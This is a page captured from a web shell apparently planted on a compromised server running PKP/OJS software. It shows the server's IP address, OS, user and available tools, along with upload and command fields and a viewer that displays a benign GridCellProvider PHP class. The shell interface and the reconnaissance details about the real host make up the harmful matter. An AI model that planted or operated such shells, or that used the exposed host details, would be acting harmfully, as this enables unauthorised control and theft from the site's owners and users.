403Webshell
Server IP : 195.134.90.114  /  Your IP : 216.73.216.86
Web Server : Apache/2.4.58
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /var/www/html/public_html/lib/pkp/classes/controllers/grid/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/html/public_html/lib/pkp/classes/controllers/grid/GridCellProvider.inc.php
<?php

/**
 * @file classes/controllers/grid/GridCellProvider.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class GridCellProvider
 * @ingroup controllers_grid
 *
 * @brief Base class for a grid column's cell provider.
 *
 * Grid cell providers provide formatted data to grid columns.
 * For general information about grids, see GridHandler.
 */


class GridCellProvider {
	/**
	 * Constructor
	 */
	function __construct() {
	}

	//
	// Public methods
	//

	/**
	 * To be used by a GridRow to generate a rendered representation of
	 * the element for the given column.
	 *
	 * @param $row GridRow
	 * @param $column GridColumn
	 * @return string the rendered representation of the element for the given column
	 */
	function render($request, $row, $column) {
		$columnId = $column->getId();
		assert(!empty($columnId));

		// Construct a default cell id (null for "nonexistent" new rows)
		$rowId = $row->getId(); // Potentially null (indicating row not backed in the DB)
		$cellId = isset($rowId)?$rowId.'-'.$columnId:null;

		// Assign values extracted from the element for the cell.
		$templateMgr = TemplateManager::getManager($request);
		$templateVars = $this->getTemplateVarsFromRowColumn($row, $column);
		foreach ($templateVars as $varName => $varValue) {
			$templateMgr->assign($varName, $varValue);
		}
		$templateMgr->assign(array(
			'id' => $cellId,
			'column' => $column,
			'actions' => $this->getCellActions($request, $row, $column),
			'flags' => $column->getFlags(),
			'formLocales' => AppLocale::getSupportedFormLocales(),
		));
		$template = $column->getTemplate();
		assert(!empty($template));
		return $templateMgr->fetch($template);
	}

	//
	// Protected template methods
	//
	/**
	 * Subclasses have to implement this method to extract variables
	 * for a given column from a data element so that they may be assigned
	 * to template before rendering.
	 * @param $row GridRow
	 * @param $column GridColumn
	 * @return array
	 */
	function getTemplateVarsFromRowColumn($row, $column) {
		return array();
	}

	/**
	 * Subclasses can override this template method to provide
	 * cell specific actions.
	 *
	 * NB: The default implementation delegates to the grid column for
	 * cell-specific actions. Another thinkable implementation would
	 * be row-specific actions in which case action instantiation
	 * should be delegated to the row.
	 *
	 * @param $request Request
	 * @param $row GridRow
	 * @param $column GridColumn
	 * @param $position int GRID_ACTION_POSITION_...
	 * @return array an array of LinkAction instances
	 */
	function getCellActions($request, $row, $column, $position = GRID_ACTION_POSITION_DEFAULT) {
		return $column->getCellActions($request, $row, $position);
	}
}



Youez - 2016 - github.com/yon3zu
LinuXploit